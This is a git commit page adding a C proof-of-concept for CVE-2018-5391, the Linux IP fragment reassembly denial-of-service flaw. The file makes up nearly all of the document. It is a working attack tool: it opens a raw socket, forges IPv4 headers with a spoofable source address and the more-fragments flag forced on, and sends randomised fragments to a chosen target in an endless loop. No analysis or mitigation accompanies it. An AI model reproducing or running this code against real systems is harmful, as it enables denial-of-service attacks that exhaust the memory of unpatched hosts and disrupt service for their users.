aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorToni Uhlig <matzeton@googlemail.com>2018-09-29 21:54:46 +0200
committerToni Uhlig <matzeton@googlemail.com>2018-09-29 22:01:15 +0200
commitf19c310b629dce4c5594b9e755cf864d5a325f8f (patch)
treeb206580f9e8f406476c97031dd81c918e80e2822
parentca29d05e022a2937dbe0e0b82263e57a2a294ff6 (diff)
*brrrrr*
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
-rw-r--r--cve-2018-5391.c108
1 files changed, 108 insertions, 0 deletions
diff --git a/cve-2018-5391.c b/cve-2018-5391.c
new file mode 100644
index 0000000..9f16d7e
--- /dev/null
+++ b/cve-2018-5391.c
@@ -0,0 +1,108 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <netinet/ip_icmp.h>
+#include <arpa/inet.h>
+#include <assert.h>
+#include <errno.h>
+
+#define PKG_BUF 2048
+
+
+static inline void die_on_error(const char *err_prefix, int ret)
+{
+ if (ret) {
+ if (errno)
+ perror(err_prefix);
+ abort();
+ }
+}
+
+static unsigned short csum(unsigned short *ptr, int nbytes)
+{
+ long sum;
+ unsigned short oddbyte;
+ short answer;
+
+ sum = 0;
+
+ while (nbytes > 1) {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if (nbytes == 1) {
+ oddbyte = 0;
+ *((u_char*) &oddbyte) =* (u_char*) ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum = sum + (sum >> 16);
+ answer = (short) ~sum;
+
+ return(answer);
+}
+
+int main(int argc, char **argv)
+{
+ unsigned char pkg[PKG_BUF];
+ struct iphdr *ip = (struct iphdr *) pkg;
+ struct sockaddr_in dest;
+ int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
+ int r, val = 1;
+ size_t data_size = 896 - sizeof *ip;
+ useconds_t send_rate = 50 * 1000; /* 50ms */
+
+ die_on_error("socket", s < 0);
+
+ r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val);
+ die_on_error("setsockopt", r != 0);
+
+ if (argc != 3) {
+ printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos"));
+ return 1;
+ }
+ printf("smack: %s -> %s\n", argv[1], argv[2]);
+
+ memset(&dest, 0, sizeof dest);
+ memset(pkg, 0, sizeof pkg);
+
+ ip->ihl = 5;
+ ip->version = 4;
+ ip->tos = 0;
+ ip->tot_len = data_size - sizeof(struct iphdr);
+ assert(ip->tot_len <= PKG_BUF);
+ ip->id = htonl(0xDEAD);
+ ip->frag_off = htonl(0xBEEF);
+ ip->ttl = 255;
+ ip->protocol = IPPROTO_IP;
+ ip->check = 0;
+ ip->saddr = inet_addr(argv[1]);
+ ip->daddr = inet_addr(argv[2]);
+ ip->check = csum((unsigned short *) pkg, sizeof *ip);
+
+ dest.sin_family = AF_INET;
+ dest.sin_addr.s_addr = inet_addr(argv[2]);
+
+ srandom(time(NULL));
+ while (1) {
+ //ip->saddr = (uint32_t) random();
+ ip->frag_off = (uint16_t) random();
+ ip->frag_off &= 0xFF1F; /* zero reserved,dont-frag,more-frag (little-endian) */
+ ip->frag_off |= 0x0020; /* force more-frag set (little-endian) */
+ ip->id = (uint16_t) random();
+ r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
+ die_on_error("sendto", r != ip->tot_len);
+
+ usleep(send_rate);
+ }
+
+ return 0;
+}